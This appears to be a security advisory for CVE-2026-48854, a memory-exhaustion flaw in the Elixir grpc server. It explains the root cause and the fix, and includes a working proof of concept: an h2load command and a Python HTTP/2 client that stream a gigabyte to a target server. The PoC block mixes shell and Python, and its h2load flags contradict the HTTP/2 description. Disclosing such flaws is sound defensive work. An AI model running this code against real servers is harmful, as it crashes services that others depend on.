highCVE-2026-48854Aug 25, 2026

CVE-2026-48854: elixir-grpc Unbounded Request Body Memory Exhaustion

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Any unauthenticated client can crash an Elixir gRPC server by streaming a large or slow-trickle HTTP/2 request body, because the server accumulates every chunk in memory with no size cap and no…

Packagegrpc
Ecosystemerlang
Affected>= 0.3.1, < 1.0.0
Fixed in1.0.0
CVE-2026-48854: elixir-grpc Unbounded Request Body Memory Exhaustion

The problem

The function read_full_body/3 in lib/grpc/server/adapters/cowboy/handler.ex reads HTTP/2 DATA frames in a recursive loop and concatenates each chunk with body <> data, with no running-total check and no configurable maximum body size.

When a client omits the grpc-timeout request header, the per-chunk read timeout falls back to :infinity. The two missing controls compound: a fast client can push multi-gigabyte payloads directly into BEAM memory, while a slow client can trickle data forever, holding the connection open indefinitely.

A single unauthenticated connection is sufficient to exhaust server memory and crash the node.

Proof of concept

A working proof-of-concept for CVE-2026-48854 in grpc, with the exact payload below.

python
# Open an HTTP/2 connection and POST to any unary RPC path.
# Omit the grpc-timeout header entirely.
# Stream a large body in chunks without sending END_STREAM.
#
# Example using h2load (nghttp2):
h2load \
  --h1 \
  -d /dev/zero \
  -n 1 -c 1 -m 1 \
  -H 'content-type: application/grpc+proto' \
  http://target:50051/helloworld.Greeter/SayHello

# Or with a minimal Python h2 client:
import socket, ssl, h2.connection, h2.config, h2.events, time

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.set_alpn_protocols(['h2'])

sock = ctx.wrap_socket(socket.create_connection(('target', 50051)), server_hostname='target')
conn = h2.connection.H2Connection(config=h2.config.H2Configuration(client_side=True))
conn.initiate_connection()
sock.sendall(conn.data_to_send())

# Send HEADERS — no grpc-timeout header
conn.send_headers(
    stream_id=1,
    headers=[
        (':method', 'POST'),
        (':path', '/helloworld.Greeter/SayHello'),
        (':scheme', 'https'),
        (':authority', 'target:50051'),
        ('content-type', 'application/grpc+proto'),
        # grpc-timeout intentionally omitted
    ]
)
sock.sendall(conn.data_to_send())

# Stream 1 GiB in 64 KiB chunks, never sending END_STREAM
chunk = b'\x00' * 65536
for _ in range(16384):          # 16384 * 64 KiB = 1 GiB
    conn.send_data(stream_id=1, data=chunk, end_stream=False)
    sock.sendall(conn.data_to_send())
    time.sleep(0)               # remove sleep to blast; add sleep to trickle

The root cause (CWE-770) is the absence of two independent guards in read_full_body/3. First, no byte counter is maintained across loop iterations, so Cowboy's flow-control WINDOW_UPDATE frames are issued freely after each read, inviting the client to push more data.

Second, timeout_left_opt(nil) returned :infinity, so every :cowboy_req.read_body/2 call had an unlimited deadline when the attacker omitted grpc-timeout.

The patch (commit 49e18c3, PR #542) introduced a max_body_size server option (defaulting to a finite value) that is threaded into read_full_body/3 as an accumulator guard. Once the running total exceeds the limit, the server returns an error before issuing another WINDOW_UPDATE, cutting off the attacker's ability to keep growing server memory.

The fix

Upgrade to grpc >= 1.0.0 on Hex.pm. If you cannot upgrade immediately, place the server behind a reverse proxy (e.g. Nginx, Envoy) configured with a strict client_max_body_size / max_request_bytes limit. In v1.0.0 you can also tune the limit explicitly at startup: GRPC.Server.start_endpoint(MyEndpoint, port, max_body_size: 4 * 1024 * 1024).

Reported by Peter Ullrich.

References: [1][2][3][4][5][6]

Related research